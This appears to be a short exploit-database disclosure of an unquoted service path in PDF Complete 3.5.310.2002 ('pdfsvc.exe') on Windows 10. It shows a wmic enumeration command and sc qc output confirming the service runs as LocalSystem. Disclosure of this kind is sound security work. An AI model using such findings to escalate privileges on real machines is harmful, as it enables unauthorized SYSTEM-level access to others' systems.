# Exploit Title: PDF Complete 3.5.310.2002 - 'pdfsvc.exe' Unquoted Service Path # Discovery by: Zaira Alquicira # Discovery Date: 2020-12-10 # Vendor Homepage: https://pdf-complete.informer.com/3.5/ # Tested Version: 3.5.310.2002 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Pro x64 es # Step to discover Unquoted Service Path: C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "pdfsvc" | findstr /i /v """ PDF Complete PDF Complete C:\Program Files (x86)\PDF Complete\pdfsvc.exe /startedbyscm:66B66708-40E2BE4D-pdfcService Auto # Service info: C:\Users\TOSHIBA>sc qc "pdfcDispatcher" [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: pdfcDispatcher TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\PDF Complete\pdfsvc.exe /startedbyscm:66B66708-40E2BE4D-pdfcService GRUPO_ORDEN_CARGA : ETIQUETA : 0 NOMBRE_MOSTRAR : PDF Document Manager DEPENDENCIAS : NOMBRE_INICIO_SERVICIO: LocalSystem